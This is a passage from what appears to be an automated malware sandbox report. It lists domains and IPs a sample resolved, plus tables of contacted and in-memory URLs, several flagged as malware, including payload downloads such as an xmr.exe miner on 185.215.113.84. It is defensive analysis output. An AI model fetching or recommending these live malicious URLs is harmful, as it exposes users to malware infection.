                              		212.227.17.8
                              		truefalse
                                		high
                                2036.com
                                		104.143.9.111
                                		truefalseunknown
                                2222.com
                                		34.102.136.180
                                		truefalseunknown
                                0192.com
                                		34.102.136.180
                                		truefalse
                                  		unknown
                                  1557.com
                                  		94.74.101.96
                                  		truefalse
                                    		unknown
                                    2060.com
                                    		15.197.142.173
                                    		truefalse
                                      		unknown
                                      1832.com
                                      		87.106.142.81
                                      		truefalse
                                        		unknown
                                        4806.com
                                        		49.51.78.191
                                        		truefalse
                                          		unknown
                                          4628.com
                                          		96.126.123.244
                                          		truefalse
                                            		unknown
                                            alt2.aspmx.l.google.com
                                            		74.125.200.26
                                            		truefalse
                                              		high
                                              4717.com
                                              		91.195.240.94
                                              		truefalse
                                                		unknown
                                                8370.com
                                                		104.21.63.65
                                                		truefalse
                                                  		unknown
                                                  8087.com
                                                  		15.197.142.173
                                                  		truefalse
                                                    		unknown
                                                    4822.com
                                                    		110.88.129.91
                                                    		truefalse
                                                      		unknown
                                                      3069.com
                                                      		34.102.136.180
                                                      		truefalse
                                                        		unknown
                                                        8176.com
                                                        		118.193.149.127
                                                        		truefalse
                                                          		unknown
                                                          9565.com
                                                          		47.102.127.92
                                                          		truefalse
                                                            		unknown
                                                            3344.com
                                                            		45.192.127.2
                                                            		truefalse
                                                              		unknown
                                                              9379.com
                                                              		52.128.23.153
                                                              		truefalse
                                                                		unknown
                                                                mail.timemail.ru
                                                                		93.88.75.67
                                                                		truefalse
                                                                  		unknown
                                                                  6591.com
                                                                  		34.102.136.180
                                                                  		truefalse
                                                                    		unknown
                                                                    3158.com
                                                                    		219.153.12.29
                                                                    		truefalse
                                                                      		unknown
                                                                      9476.com
                                                                      		34.102.136.180
                                                                      		truefalse
                                                                        		unknown
                                                                        4725.com
                                                                        		34.102.136.180
                                                                        		truefalse
                                                                          		unknown
                                                                          3593.com
                                                                          		103.251.36.235
                                                                          		truefalse
                                                                            		unknown
                                                                            6253.com
                                                                            		34.102.136.180
                                                                            		truefalse
                                                                              		unknown
                                                                              5372.com
                                                                              		34.102.136.180
                                                                              		truefalse
                                                                                		unknown
                                                                                4869.com
                                                                                		154.23.132.10
                                                                                		truefalse
                                                                                  		unknown
                                                                                  2695.com
                                                                                  		34.102.136.180
                                                                                  		truefalse
                                                                                    		unknown
                                                                                    6059.com
                                                                                    		64.32.28.242
                                                                                    		truefalse
                                                                                      		unknown
                                                                                      082630a9b2284fz.greycdn.net
                                                                                      		156.225.131.117
                                                                                      		truefalse
                                                                                        		unknown
                                                                                        cs1.ename.net
                                                                                        		206.119.87.32
                                                                                        		truefalse
                                                                                          		high
                                                                                          mx01.mail.icloud.com
                                                                                          		17.42.251.62
                                                                                          		truefalse
                                                                                            		high
                                                                                            jp.tiaolianbao.com
                                                                                            		47.91.139.215
                                                                                            		truefalse
                                                                                              		unknown
                                                                                              8702.com
                                                                                              		20.205.14.140
                                                                                              		truefalse
                                                                                                		unknown
                                                                                                0605.com
                                                                                                		45.136.12.154
                                                                                                		truefalse
                                                                                                  		unknown
                                                                                                  8265.com
                                                                                                  		196.10.95.145
                                                                                                  		truefalse
                                                                                                    		unknown
                                                                                                    9735.com
                                                                                                    		39.109.6.190
                                                                                                    		truefalse
                                                                                                      		unknown
                                                                                                      0702.com
                                                                                                      		193.243.189.83
                                                                                                      		truefalse
                                                                                                        		unknown
                                                                                                        4161.com
                                                                                                        		34.102.136.180
                                                                                                        		truefalse
                                                                                                          		unknown
                                                                                                          4788.com
                                                                                                          		127.0.0.1
                                                                                                          		truefalse
                                                                                                            		unknown
                                                                                                            overdue.aliyun.com
                                                                                                            		170.33.13.246
                                                                                                            		truefalse
                                                                                                              		high
                                                                                                              dh.yundnsdh2.com
                                                                                                              		45.195.148.6
                                                                                                              		truefalse
                                                                                                                		unknown
                                                                                                                1502.com
                                                                                                                		47.93.206.251
                                                                                                                		truefalse
                                                                                                                  		unknown
                                                                                                                  0o1kibuxn.funnull301.com
                                                                                                                  		162.209.193.44
                                                                                                                  		truefalse
                                                                                                                    		unknown
                                                                                                                    alt1.gmail-smtp-in.l.google.com
                                                                                                                    		142.250.150.27
                                                                                                                    		truefalse
                                                                                                                      		high
                                                                                                                      aaa1.bailuqixiu.com
                                                                                                                      		193.239.150.229
                                                                                                                      		truefalse
                                                                                                                        		unknown
                                                                                                                        9816.com
                                                                                                                        		59.36.96.145
                                                                                                                        		truefalse
                                                                                                                          		unknown
                                                                                                                          0210.com
                                                                                                                          		202.172.28.149
                                                                                                                          		truefalse
                                                                                                                            		unknown
                                                                                                                            6842.com
                                                                                                                            		35.186.238.101
                                                                                                                            		truefalse
                                                                                                                              		unknown
                                                                                                                              1405.com
                                                                                                                              		15.197.142.173
                                                                                                                              		truefalse
                                                                                                                                		unknown
                                                                                                                                6567.com
                                                                                                                                		18.166.248.208
                                                                                                                                		truefalse
                                                                                                                                  		unknown
                                                                                                                                  4412.com
                                                                                                                                  		154.83.25.51
                                                                                                                                  		truefalse
                                                                                                                                    		unknown
                                                                                                                                    3917.com
                                                                                                                                    		15.197.142.173
                                                                                                                                    		truefalse
                                                                                                                                      		unknown
                                                                                                                                      8667.com
                                                                                                                                      		13.114.45.133
                                                                                                                                      		truefalse
                                                                                                                                        		unknown
                                                                                                                                        5704.com
                                                                                                                                        		34.102.136.180
                                                                                                                                        		truefalse
                                                                                                                                          		unknown
                                                                                                                                          1090.com
                                                                                                                                          		34.102.136.180
                                                                                                                                          		truefalse
                                                                                                                                            		unknown
                                                                                                                                            mail.gimal.com
                                                                                                                                            		66.115.170.98
                                                                                                                                            		truefalse
                                                                                                                                              		unknown
                                                                                                                                              0927.com
                                                                                                                                              		34.102.136.180
                                                                                                                                              		truefalse
                                                                                                                                                		unknown
                                                                                                                                                atsa.pkjiqun2.com
                                                                                                                                                		103.91.8.18
                                                                                                                                                		truefalse
                                                                                                                                                  		unknown
                                                                                                                                                  1235.com
                                                                                                                                                  		188.114.96.3
                                                                                                                                                  		truefalse
                                                                                                                                                    		unknown
                                                                                                                                                    mx.interia.pl
                                                                                                                                                    		217.74.65.64
                                                                                                                                                    		truefalse
                                                                                                                                                      		high
                                                                                                                                                      2188.com
                                                                                                                                                      		101.32.76.59
                                                                                                                                                      		truefalse
                                                                                                                                                        		unknown
                                                                                                                                                        5429.com
                                                                                                                                                        		34.102.136.180
                                                                                                                                                        		truefalse
                                                                                                                                                          		unknown
                                                                                                                                                          7383.com
                                                                                                                                                          		4.78.139.54
                                                                                                                                                          		truefalse
                                                                                                                                                            		unknown
                                                                                                                                                            mx.4duck.email
                                                                                                                                                            		37.187.74.87
                                                                                                                                                            		truefalse
                                                                                                                                                              		unknown
                                                                                                                                                              4314.com
                                                                                                                                                              		18.166.248.208
                                                                                                                                                              		truefalse
                                                                                                                                                                		unknown
                                                                                                                                                                4500.com
                                                                                                                                                                		34.102.136.180
                                                                                                                                                                		truefalse
                                                                                                                                                                  		unknown
                                                                                                                                                                  skybridgedomains.com
                                                                                                                                                                  		159.196.11.32
                                                                                                                                                                  		truefalse
                                                                                                                                                                    		unknown
                                                                                                                                                                    3682.com
                                                                                                                                                                    		34.102.136.180
                                                                                                                                                                    		truefalse
                                                                                                                                                                      		unknown
                                                                                                                                                                      6245.com
                                                                                                                                                                      		34.102.136.180
                                                                                                                                                                      		truefalse
                                                                                                                                                                        		unknown
                                                                                                                                                                        5800.com
                                                                                                                                                                        		43.254.148.23
                                                                                                                                                                        		truefalse
                                                                                                                                                                          		unknown
                                                                                                                                                                          8257.com
                                                                                                                                                                          		34.102.136.180
                                                                                                                                                                          		truefalse
                                                                                                                                                                            		unknown
                                                                                                                                                                            2373.com
                                                                                                                                                                            		34.102.136.180
                                                                                                                                                                            		truefalse
                                                                                                                                                                              		unknown
                                                                                                                                                                              5542.com
                                                                                                                                                                              		47.91.237.61
                                                                                                                                                                              		truefalse
                                                                                                                                                                                		unknown
                                                                                                                                                                                l-cx.jsgkhbkj.com
                                                                                                                                                                                		182.16.77.220
                                                                                                                                                                                		truefalse
                                                                                                                                                                                  		unknown
                                                                                                                                                                                  0419.com
                                                                                                                                                                                  		122.10.12.69
                                                                                                                                                                                  		truefalse
                                                                                                                                                                                    		unknown
                                                                                                                                                                                    5380.com
                                                                                                                                                                                    		15.197.142.173
                                                                                                                                                                                    		truefalse
                                                                                                                                                                                      		unknown
                                                                                                                                                                                      6672.com
                                                                                                                                                                                      		103.224.251.56
                                                                                                                                                                                      		truefalse
                                                                                                                                                                                        		unknown
                                                                                                                                                                                        4289.com
                                                                                                                                                                                        		15.197.142.173
                                                                                                                                                                                        		truefalse
                                                                                                                                                                                          		unknown
                                                                                                                                                                                          msn-com.olc.protection.outlook.com
                                                                                                                                                                                          		104.47.57.161
                                                                                                                                                                                          		truefalse
                                                                                                                                                                                            		high
                                                                                                                                                                                            306vip.redirection7.com
                                                                                                                                                                                            		154.218.9.231
                                                                                                                                                                                            		truefalse
                                                                                                                                                                                              		unknown
                                                                                                                                                                                              4152.com
                                                                                                                                                                                              		34.102.136.180
                                                                                                                                                                                              		truefalse
                                                                                                                                                                                                		unknown
                                                                                                                                                                                                4974.com
                                                                                                                                                                                                		15.197.142.173
                                                                                                                                                                                                		truefalse
                                                                                                                                                                                                  		unknown
                                                                                                                                                                                                  5461.com
                                                                                                                                                                                                  		193.112.251.85
                                                                                                                                                                                                  		truefalse
                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                    9316.com
                                                                                                                                                                                                    		13.248.216.40
                                                                                                                                                                                                    		truefalse
                                                                                                                                                                                                      		unknown
                                                                                                                                                                                                      6715.oss-cn-qingdao.aliyuncs.com
                                                                                                                                                                                                      		47.104.36.39
                                                                                                                                                                                                      		truefalse
                                                                                                                                                                                                        		high
                                                                                                                                                                                                        4904.com
                                                                                                                                                                                                        		34.102.136.180
                                                                                                                                                                                                        		truefalse
                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                          6590.com
                                                                                                                                                                                                          		34.102.136.180
                                                                                                                                                                                                          		truefalse
                                                                                                                                                                                                            		unknown
                                                                                                                                                                                                            9920.com
                                                                                                                                                                                                            		15.197.142.173
                                                                                                                                                                                                            		truefalse
                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                              8191.com
                                                                                                                                                                                                              		20.239.9.18
                                                                                                                                                                                                              		truefalse
                                                                                                                                                                                                                		unknown
                                                                                                                                                                                                                5124.com
                                                                                                                                                                                                                		34.102.136.180
                                                                                                                                                                                                                		truefalse
                                                                                                                                                                                                                  		unknown
                                                                                                                                                                                                                  al-ip4-mx-vip1.prodigy.net
                                                                                                                                                                                                                  		144.160.235.143
                                                                                                                                                                                                                  		truefalse
                                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                                    8361.com
                                                                                                                                                                                                                    		15.197.142.173
                                                                                                                                                                                                                    		truefalse
                                                                                                                                                                                                                      		unknown
                                                                                                                                                                                                                      9815.com
                                                                                                                                                                                                                      		34.102.136.180
                                                                                                                                                                                                                      		truefalse
                                                                                                                                                                                                                        		unknown
                                                                                                                                                                                                                        em4.mainnetmail.com
                                                                                                                                                                                                                        		142.93.233.86
                                                                                                                                                                                                                        		truefalse
                                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                                          3327.com
                                                                                                                                                                                                                          		208.91.197.46
                                                                                                                                                                                                                          		truefalse
                                                                                                                                                                                                                            		unknown
                                                                                                                                                                                                                            mxs.mail.ru
                                                                                                                                                                                                                            		217.69.139.150
                                                                                                                                                                                                                            		truefalse
                                                                                                                                                                                                                              		high
                                                                                                                                                                                                                              mta5.am0.yahoodns.net
                                                                                                                                                                                                                              		67.195.228.109
                                                                                                                                                                                                                              		truefalse
                                                                                                                                                                                                                                		unknown
                                                                                                                                                                                                                                0450.com
                                                                                                                                                                                                                                		104.143.9.110
                                                                                                                                                                                                                                		truefalse
                                                                                                                                                                                                                                  		unknown

                                                                                                                                                                                                                                  Contacted URLs

                                                                                                                                                                                                                                  NameMaliciousAntivirus DetectionReputation
                                                                                                                                                                                                                                  http://icanhazip.com/false
                                                                                                                                                                                                                                    		high
                                                                                                                                                                                                                                    http://185.215.113.66/cawkz/1342.txttrue
                                                                                                                                                                                                                                    • Avira URL Cloud: malware
                                                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                                                    http://185.215.113.66/cock/529.txttrue
                                                                                                                                                                                                                                    • Avira URL Cloud: malware
                                                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                                                    http://185.215.113.84/xmr.exetrue
                                                                                                                                                                                                                                    • Avira URL Cloud: malware
                                                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                                                    http://185.215.113.66/cawkz/n.txttrue
                                                                                                                                                                                                                                    • Avira URL Cloud: malware
                                                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                                                    http://185.215.113.66/5true
                                                                                                                                                                                                                                    • Avira URL Cloud: malware
                                                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                                                    http://185.215.113.66/4true
                                                                                                                                                                                                                                    • Avira URL Cloud: malware
                                                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                                                    http://185.215.113.66/3true
                                                                                                                                                                                                                                    • Avira URL Cloud: malware
                                                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                                                    http://185.215.113.66/2true
                                                                                                                                                                                                                                    • Avira URL Cloud: malware
                                                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                                                    http://185.215.113.66/1true
                                                                                                                                                                                                                                    • Avira URL Cloud: malware
                                                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                                                    http://185.215.113.66/cock/n.txttrue
                                                                                                                                                                                                                                    • Avira URL Cloud: malware
                                                                                                                                                                                                                                    		unknown

                                                                                                                                                                                                                                    URLs from Memory and Binaries

                                                                                                                                                                                                                                    NameSourceMaliciousAntivirus DetectionReputation
                                                                                                                                                                                                                                    http://185.215.113.66/cawkz/1342.txt475601095.exe, 00000008.00000003.381585829.00000000016AD000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                                                    • Avira URL Cloud: malware
                                                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                                                    http://185.215.113.66/17wsysrxvcs.exe, 00000001.00000003.325736311.000000000309E000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.325457406.0000000003098000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.325398186.000000000309A000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                                                    • Avira URL Cloud: malware
                                                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                                                    http://185.215.113.66/cawkz/1342.txt875601095.exe, 00000008.00000002.633161656.000000000165A000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                                                    • Avira URL Cloud: malware
                                                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                                                    http://185.215.113.66/2ystem32wsysrxvcs.exe, 00000001.00000002.634446713.00000000030B6000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                                                    • Avira URL Cloud: malware
                                                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                                                    http://185.215.113.66/3~wsysrxvcs.exe, 00000001.00000002.634423292.00000000030B2000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                                                    • Avira URL Cloud: malware
                                                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                                                    http://185.215.113.66/cawkz/75601095.exe, 00000008.00000002.632887362.00000000010A5000.00000004.00000001.01000000.0000000C.sdmptrue
                                                                                                                                                                                                                                    • Avira URL Cloud: malware
                                                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                                                    http://185.215.113.66/3LMEM0wsysrxvcs.exe, 00000001.00000002.634446713.00000000030B6000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                                                    • Avira URL Cloud: malware
                                                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                                                    http://185.215.113.84/xmr.exev120477188.exe, 00000003.00000002.352453871.00000000008FA000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                                                    • Avira URL Cloud: malware
                                                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                                                    http://www.microsoft.copowershell.exe, 00000010.00000002.625282383.000001B5E1450000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                    • URL Reputation: safe
                                                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                                                    https://contoso.com/Licensepowershell.exe, 00000006.00000002.488522553.000001B97739F000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                    • URL Reputation: safe
                                                                                                                                                                                                                                    		unknown
                                                                                                                                                                                                                                    http://schemas.xmlsoap.org/soap/envelope/file.exefalse
                                                                                                                                                                                                                                      		high
                                                                                                                                                                                                                                      http://185.215.113.66/cock/311029678.exe, 00000005.00000002.632945147.0000000000325000.00000004.00000001.01000000.00000008.sdmp, 311029678.exe, 00000005.00000002.634087947.0000000002AD9000.00000004.00000010.00020000.00000000.sdmptrue
                                                                                                                                                                                                                                      • Avira URL Cloud: malware
                                                                                                                                                                                                                                      		unknown
                                                                                                                                                                                                                                      http://185.215.113.66/3(KHTMLwsysrxvcs.exe, 00000001.00000002.633098894.00000000006DD000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                                                      • Avira URL Cloud: malware
                                                                                                                                                                                                                                      		unknown
                                                                                                                                                                                                                                      http://185.215.113.66/cawkz/1342.txtO75601095.exe, 00000008.00000002.633161656.000000000165A000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                                                      • Avira URL Cloud: malware
                                                                                                                                                                                                                                      		unknown
                                                                                                                                                                                                                                      http://185.215.113.66/13wsysrxvcs.exe, 00000001.00000003.325736311.000000000309E000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.325457406.0000000003098000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.325398186.000000000309A000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                                                      • Avira URL Cloud: malware
                                                                                                                                                                                                                                      		unknown
                                                                                                                                                                                                                                      http://185.215.113.66/1Wwsysrxvcs.exe, 00000001.00000003.325736311.000000000309E000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.325457406.0000000003098000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.325398186.000000000309A000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                                                      • Avira URL Cloud: malware
                                                                                                                                                                                                                                      		unknown
                                                                                                                                                                                                                                      http://185.215.113.66/29wsysrxvcs.exe, 00000001.00000002.634423292.00000000030B2000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                                                      • Avira URL Cloud: malware
                                                                                                                                                                                                                                      		unknown
                                                                                                                                                                                                                                      https://go.microspowershell.exe, 00000006.00000003.370425289.000001B97F99E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                      • URL Reputation: safe
                                                                                                                                                                                                                                      		unknown
                                                                                                                                                                                                                                      http://185.215.113.84/xmr.exeAp120477188.exe, 00000003.00000002.352453871.00000000008FA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                      • Avira URL Cloud: malware
                                                                                                                                                                                                                                      		unknown
                                                                                                                                                                                                                                      http://185.215.113.66/4-streamwsysrxvcs.exe, 00000001.00000002.633098894.00000000006DD000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                      • Avira URL Cloud: malware
                                                                                                                                                                                                                                      		unknown
                                                                                                                                                                                                                                      https://contoso.com/powershell.exe, 00000006.00000002.488522553.000001B97739F000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                      • URL Reputation: safe
                                                                                                                                                                                                                                      		unknown
                                                                                                                                                                                                                                      https://nuget.org/nuget.exepowershell.exe, 00000006.00000002.488522553.000001B97739F000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                        		high
                                                                                                                                                                                                                                        http://185.215.113.66/3KKC:wsysrxvcs.exe, 00000001.00000002.633416798.00000000006F8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                        • Avira URL Cloud: malware
                                                                                                                                                                                                                                        		unknown
                                                                                                                                                                                                                                        http://185.215.113.66/wsysrxvcs.exe, wsysrxvcs.exe, 00000002.00000000.330154283.0000000000413000.00000008.00000001.01000000.00000004.sdmp, 587025894.exe, 00000009.00000000.394317744.0000000000413000.00000008.00000001.01000000.0000000D.sdmp, file.exefalse
                                                                                                                                                                                                                                        • Avira URL Cloud: malware
                                                                                                                                                                                                                                        		unknown
                                                                                                                                                                                                                                        http://185.215.113.66/5hwsysrxvcs.exe, 00000001.00000003.382643148.00000000030B2000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                        • Avira URL Cloud: malware
                                                                                                                                                                                                                                        		unknown
                                                                                                                                                                                                                                        http://185.215.113.66/1Kwsysrxvcs.exe, 00000001.00000002.633098894.00000000006B0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                        • Avira URL Cloud: malware
                                                                                                                                                                                                                                        		unknown
                                                                                                                                                                                                                                        http://185.215.113.66/1.dllwsysrxvcs.exe, 00000001.00000003.382643148.00000000030B6000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.324970368.00000000030B3000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                        • Avira URL Cloud: malware
                                                                                                                                                                                                                                        		unknown
                                                                                                                                                                                                                                        http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 00000006.00000002.422120254.000001B967341000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.444327583.00000128C54A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.532612242.000001B5C8EC1000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                          		high
                                                                                                                                                                                                                                          http://185.215.113.66/cawkz/1342.txt.75601095.exe, 00000008.00000003.381585829.00000000016AD000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                                                          http://185.215.113.66/26wsysrxvcs.exe, 00000001.00000002.634423292.00000000030B2000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                                                          http://185.215.113.84/xmr.exe%120477188.exe, 00000003.00000002.352453871.00000000008FA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                                                          http://185.215.113.66/5Zwsysrxvcs.exe, 00000001.00000003.382643148.00000000030B2000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                                                          http://185.215.113.66/5(KHTMLwsysrxvcs.exe, 00000001.00000002.633098894.00000000006DD000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                                                          http://185.215.113.66/Dwsysrxvcs.exe, 00000001.00000003.382643148.00000000030B2000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                          • Avira URL Cloud: malware
                                                                                                                                                                                                                                          		unknown
                                                                                                                                                                                                                                          http://185.215.113.66/1wwsysrxvcs.exe, 00000001.00000002.634423292.00000000030B2000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                                                            		unknown
                                                                                                                                                                                                                                            http://185.215.113.84/xmr.exeWp120477188.exe, 00000003.00000002.352453871.00000000008FA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                            • Avira URL Cloud: malware
                                                                                                                                                                                                                                            		unknown
                                                                                                                                                                                                                                            http://nuget.org/NuGet.exepowershell.exe, 00000006.00000002.488522553.000001B97739F000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                              		high
                                                                                                                                                                                                                                              http://pesterbdd.com/images/Pester.pngpowershell.exe, 00000006.00000002.422120254.000001B96754F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000003.366459906.000001B97F974000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                              • URL Reputation: safe
                                                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                                                              http://185.215.113.66/5KKC:wsysrxvcs.exe, 00000001.00000003.382520258.0000000000734000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                              • Avira URL Cloud: malware
                                                                                                                                                                                                                                              		unknown
                                                                                                                                                                                                                                              http://schemas.xmlsoap.org/soap/encoding/file.exefalse
                                                                                                                                                                                                                                                		high
                                                                                                                                                                                                                                                http://185.215.113.66/3Dwsysrxvcs.exe, 00000001.00000002.634423292.00000000030B2000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                                • Avira URL Cloud: malware
                                                                                                                                                                                                                                                		unknown
                                                                                                                                                                                                                                                http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 00000006.00000002.422120254.000001B96754F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000003.366459906.000001B97F974000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                                  		high
                                                                                                                                                                                                                                                  http://185.215.113.66/1LMEM0wsysrxvcs.exe, 00000001.00000003.324970368.00000000030B3000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                                  • Avira URL Cloud: malware
                                                                                                                                                                                                                                                  		unknown
                                                                                                                                                                                                                                                  https://go.micropowershell.exe, 00000006.00000003.371193886.000001B968FBC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.444327583.00000128C56A9000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                                  • URL Reputation: safe
                                                                                                                                                                                                                                                  		unknown
                                                                                                                                                                                                                                                  http://185.215.113.66/cawkz/n.txtV75601095.exe, 00000008.00000002.633161656.000000000165A000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                                                                                                  • Avira URL Cloud: malware
                                                                                                                                                                                                                                                  		unknown
                                                                                                                                                                                                                                                  https://contoso.com/Iconpowershell.exe, 00000006.00000002.488522553.000001B97739F000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                                  • URL Reputation: safe
                                                                                                                                                                                                                                                  		unknown
                                                                                                                                                                                                                                                  http://185.215.113.66/2Owsysrxvcs.exe, 00000001.00000002.634423292.00000000030B2000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                                  • Avira URL Cloud: malware
                                                                                                                                                                                                                                                  		unknown
                                                                                                                                                                                                                                                  http://185.215.113.66/1iLMEM8wsysrxvcs.exe, 00000001.00000003.325166596.00000000006ED000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.325012428.00000000006E8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                                  • Avira URL Cloud: malware
                                                                                                                                                                                                                                                  		unknown
                                                                                                                                                                                                                                                  http://icanhazip.com/z311029678.exe, 00000005.00000003.388172019.0000000000A01000.00000004.00000020.00020000.00000000.sdmp, 311029678.exe, 00000005.00000003.387363822.0000000000A01000.00000004.00000020.00020000.00000000.sdmp, 311029678.exe, 00000005.00000003.379585440.0000000000A00000.00000004.00000020.00020000.00000000.sdmp, 311029678.exe, 00000005.00000003.383374552.0000000000A01000.00000004.00000020.00020000.00000000.sdmp, 311029678.exe, 00000005.00000002.633282992.00000000009AA000.00000004.00000020.00020000.00000000.sdmp, 311029678.exe, 00000005.00000003.384481489.0000000000A01000.00000004.00000020.00020000.00000000.sdmp, 311029678.exe, 00000005.00000003.388668569.0000000000A01000.00000004.00000020.00020000.00000000.sdmp, 311029678.exe, 00000005.00000003.382357134.0000000000A01000.00000004.00000020.00020000.00000000.sdmp, 311029678.exe, 00000005.00000003.392174717.0000000000A01000.00000004.00000020.00020000.00000000.sdmp, 311029678.exe, 00000005.00000003.385822096.0000000000A01000.00000004.00000020.00020000.00000000.sdmp, 311029678.exe, 00000005.00000003.385128683.0000000000A01000.00000004.00000020.00020000.00000000.sdmp, 311029678.exe, 00000005.00000003.391124291.0000000000A01000.00000004.00000020.00020000.00000000.sdmp, 311029678.exe, 00000005.00000003.386507247.0000000000A01000.00000004.00000020.00020000.00000000.sdmp, 311029678.exe, 00000005.00000003.396268628.0000000000A01000.00000004.00000020.00020000.00000000.sdmp, 311029678.exe, 00000005.00000003.388962236.0000000000A01000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                                    		high
                                                                                                                                                                                                                                                    http://185.215.113.66/1C:wsysrxvcs.exe, 00000001.00000003.325736311.000000000309E000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.325457406.0000000003098000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.382801098.00000000030A0000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000002.634353053.00000000030A0000.00000004.00000020.00020000.00000000.sdmp, wsysrxvcs.exe, 00000001.00000003.325398186.000000000309A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                                                                                                    • Avira URL Cloud: malware
                                                                                                                                                                                                                                                    		unknown
